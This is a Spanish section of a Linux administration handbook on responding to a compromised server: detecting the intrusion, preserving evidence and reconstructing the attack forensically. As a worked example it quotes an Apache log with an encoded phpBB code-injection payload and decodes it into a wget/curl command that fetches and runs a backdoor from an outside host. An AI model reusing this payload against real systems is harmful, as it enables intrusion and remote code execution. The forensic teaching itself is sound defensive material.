14.7. Tratamiento de una máquina comprometida
A pesar de las mejores intenciones y sin importar cuán cuidadosamente diseñe la política de seguridad, un administrador eventualmente se enfrentará a un secuestro. Esta sección provee algunas directrices sobre cómo reaccionar frente a estas circunstancias desafortunadas.
14.7.1. Detección y visualización de la intrusión
El primer paso de la reacción frente a una intrusión es estar al tanto de la misma. Esto no es siempre obvio, especialmente sin una infraestructura de monitorización adecuada.
A veces no se detectan los actos de intrusión hasta que tienen consecuencias directas en los servicios legítimos albergados en la máquina, como lentitud en las conexiones, algunos usuarios no se pueden conectar o cualquier otro tipo de funcionamiento defectuoso. El administrador que se enfrenta a estos problemas debe revisar cuidadosamente la máquina y escrutar en detalle aquello que no funciona como corresponde. Generalmente este es el momento en el que descubren un proceso inusual, por ejemplo uno llamado apache en lugar del estándar /usr/sbin/apache2. Si seguimos con dicho ejemplo, debemos anotar el identificador de proceso y revisar /proc/pid/exe para ver qué programa está ejecutando dicho proceso:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
¿Un programa instalado en /var/tmp/ que ejecuta como el servidor web? Sin duda la máquina está comprometida.
Este sólo es un ejemplo, pero muchas otras pistas pueden encender la lámpara del administrador:
una opción a un programa que ya no funciona; la versión del software que el programa dice ser no coincide con la versión que se supone está instalada según dpkg;
un prompt de órdenes o mensaje de sesión que indica que la última conexión provino de un servidor desconocido en otro continente;
errores causados porque la partición /tmp/ está llena, resultado de múltiples copias ilegales de películas;
etc.
14.7.2. Desconexión del servidor
En prácticamente todos los casos, la intrusión proviene de la red y el atacante necesita una red funcional para alcanzar sus objetivos (acceder a datos confidenciales, compartir archivos ilegales, esconder su identidad utilizando la máquina como restransmisor, etc.). Desconectar el equipo de la red evitará que el atacante logre estos objetivos si es que no los alcanzó para ese momento.
14.7.3. Preservación de todo lo que pueda utilizar como evidencia
Entender el ataque y/o establecer una acción legal en contra del atacante requerirá copias de todos los elementos importantes; esto incluye el contenido de los discos, una lista de todos los procesos en ejecución y las conexiones establecidas. Incluso podría utilizar el contenido de la RAM pero, rara vez se lo utiliza realmente.
En el ápice de la acción, los administradores generalmente están tentados de realizar muchas verificaciones en la máquina comprometida; generalmente esto no es una buena idea. Potencialmente, todo programa está comprometido y puede borrar porciones de la evidencia. Debería restringir las verificaciones a un conjunto mínimo (netstat -tupan para conexiones de red, ps auxf para una lista de procesos, ls -alr /proc/[0-9]* para un poco más de información sobre los programas en ejecución), y debe anotar cuidadosamente cada verificación que realice.
Una vez que guardó los elementos «dinámicos», el siguiente paso es almacenar una imagen completa del disco duro. Realizar dicha imagen es imposible si el sistema de archivos continúa evolucionando, razón por la que debe volver a montarlo en modo sólo de lectura. La solución más simple generalmente es detener brutalmente el servidor (luego de ejecutar sync) y luego reiniciar desde un CD de rescate. Debe copiar cada partición con una herramienta como dd; luego puede enviar estas imágenes a otro servidor (posiblemente con la conveniente herramienta nc). Otra posiblidad que puede ser aún más sencilla: simplemente quite el disco de la máquina y reemplácelo con otro al que pueda dar formato y reinstalar.
No debería volver a poner en línea al servidor sin reinstalarlo completamente. Si el compromiso fue serio (obtuvieron permisos de administrador), prácticamente no existe otra forma de estar seguro que se ha eliminado todo lo que el atacante podría haber dejado (puertas traseras — «backdoors» — en particular). Por supuesto, también debe aplicar todas las últimas actualizaciones de seguridad para solucionar la vulnerabilidad que utilizó el atacante. Idealmente, el análisis del ataque debería indicarle dicho vector de ataque para que pueda estar seguro de solucionarlo; de lo contrario, sólo puede confiar que alguna de las actualizaciones hay corregido la vulnerabilidad.
No siempre es sencillo reinstalar un servidor remoto; podría involucrar asistencia de la empresa que alberga su equipo, ya que no siempre dichas compañías ofrecen servicios automatizados de reinstalación. Debe tener cuidado de no reinstalar la máquina desde respaldos realizados luego del ataque. Idealmente, sólo debería restaurar los datos, debería instalar el software en sí desde los medios de instalación.
Ahora que restauró el servicio, es momento de revisar más cuidadosamente las imágenes de disco del sistema comprometido para poder entender el vector de ataque. Cuando monte estas imágenes debe asegurarse de utilizar las opciones ro,nodev,noexec,noatime para evitar modificar sus contenidos (incluyendo las marcas temporales de acceso de los archivos) o ejecutar por error los programas comprometidos.
Seguir las huellas de un escenario de ataque generalmente involucra buscar todo lo que se modificó o ejecutó:
usualmente es interesante leer los archivos .bash_history;
al igual que enumerar los archivos que fueron creados, modificados o accedidos recientemente;
el programa strings ayuda a identificar los programas instalados por el atacante, extrayendo las cadenas de texto de un binario;
los archivos de registro en /var/log/ usualmente permiten reconstruir una cronología de los eventos;
herramientas específicas también permiten restaurar el contenido de archivos potencialmente borrados, incluyendo los archivos de registro que generalmente borran los atacantes.
Algunas de estas operaciones pueden simplificarse mediante programas especializados. En particular, el paquete sleuthkit proprociona muchas herramientas para analizar un sistema de archivos. Es más sencillo utilizarlo con la interfaz gráfica Autopsy Forensic Browser («navegador forense de autopsias», en el paquete autopsy).
14.7.6. Reconstrucción del escenario de ataque
Todos los elementos recolectados durante el análisis deberían encajar como piezas de un rompecabezas; usualmente hay una correlación entre la creación de los primeros archivos sospechosos con los registros que muestran la intrusión. Un ejemplo real debería ser más explícito que largos desvaríos teóricos.
El siguiente registro es un extracto de un archivo access.log de Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Este ejemplo coincide con el aprovechamiento de una antigua vulnerabilidad de phpBB.
Decodificar esta URL lleva a entender que el atacante logró ejecutar un código PHP, en particular: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). En efecto, encontramos un archivo bd en /tmp/. La ejecución de strings /mnt/tmp/bd devuelve, entre otras cadenas, PsychoPhobia Backdoor is starting.... Esto realmente parece una puerta trasera.
Un tiempo después, se utilizó este acceso para descargar, instalar y ejecutar un bot IRC que se conectó a una red IRC clandestina. Luego se podía controlar el bot mediante este protocolo y ordenarle descargar archivos para compartir. Este programa inclusive tiene su propio archivo de registro:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Estas trazas muestran que se almacenaron dos archivos de video en el servidor desde la dirección IP 82.50.72.202.
En paralelo, el atacante también descargo un par de archivos adicionales, /tmp/pt y /tmp/loginx. Ejecutar strings en estos archivos nos provee cadenas como Shellcode placed at 0x%08lx («código de consola ubicado en 0x%08lx») y Now wait for suid shell... («esperando consola suid...»). Estos parecen programas que aprovechan vulnerabilidades locales para obtener privilegios de administrador. ¿Consiguieron su objetivo? En este caso, probablemente no, ya que no parecen existir archivos modificados luego de la intrusión original.
En este ejemplo, se reconstruyó la intrusión completa y podemos deducir que el atacante pudo aprovechar el sistema comprometido por alrededor de tres días; pero el elemento más importante del análisis es que se identificó la vulnerabilidad y el administrador puede asegurarse que la nueva instalación realmente soluciona la vulnerabilidad.
